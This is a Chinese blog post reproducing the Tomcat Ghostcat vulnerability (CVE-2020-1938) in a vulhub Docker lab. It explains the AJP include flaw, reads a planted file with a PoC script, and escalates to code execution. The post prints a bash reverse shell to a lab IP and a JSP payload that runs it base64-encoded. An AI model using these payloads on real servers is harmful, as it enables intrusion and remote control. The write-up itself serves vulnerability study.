您的位置:首页 > 运维架构 > Tomcat

CVE-2020-1938 tomcat文件包含 & 文件读取

2020-03-31 18:45 1091 查看

0x00 前言

这个是上个月的tomcat的漏洞这里进行一下复现。直接使用vulhub里的docker进行复现

参考文章

https://paper.seebug.org/1142/

原理

tomcat 开启了http和AJP两种协议的处理,由于“javax.servlet.include.request_uri”,“javax.servlet.include.path_info”,“javax.servlet.include.servlet_path” 这三个参数可控,所以导致文件读取以及文件包含漏洞,当然内容也仅限制webapps/ROOT目录。

0x01 复现

1. 环境

使用vulhub进行环境的搭建

这里如果是之前下载的vulhub,可能没有最新的,从github上把docker-compose.yml文件dump下来,然后放在如下目录

目录:vulhub-master/tomcat/CVE-2020-1938

docker-compose ip -d

2.过程演示

扫描一下目标的端口,可以看到开放了8009,8080端口

首先访问一下目标站点的8080

然后使用poc脚本,这里使用的是CVE-2020-1938-Tomact-file_include-file_read-master

为了方便我们在webapps下创建一个文件。

进入docker image

docker exec -it 4d78f156f7b8 /bin/bash

移动到ROOT目录下创建一个文件

创建一个文件 1.txt

这里使用exp进行读取,读取成功

然后我们在ROOT目录下写一个文件,我这里选择本地写好,然后wget或者curl上去。

这里执行的是

bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

然后使用exp进行测试,成功反弹shell

3.解惑

起初对脚本中的asdf产生了疑问,最后看了原理之后,才发现,这里的asdf可以是任意字母只要Servlet中没有就可以,如果没有就会启动DefaultServlet。
如果是要进行文件包含的话,那么就要使用asdf.jsp这样就会走jspServlet。

  • 点赞
  • 收藏
  • 分享
  • 文章举报
HAI_WD 发布了57 篇原创文章 · 获赞 0 · 访问量 3153 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐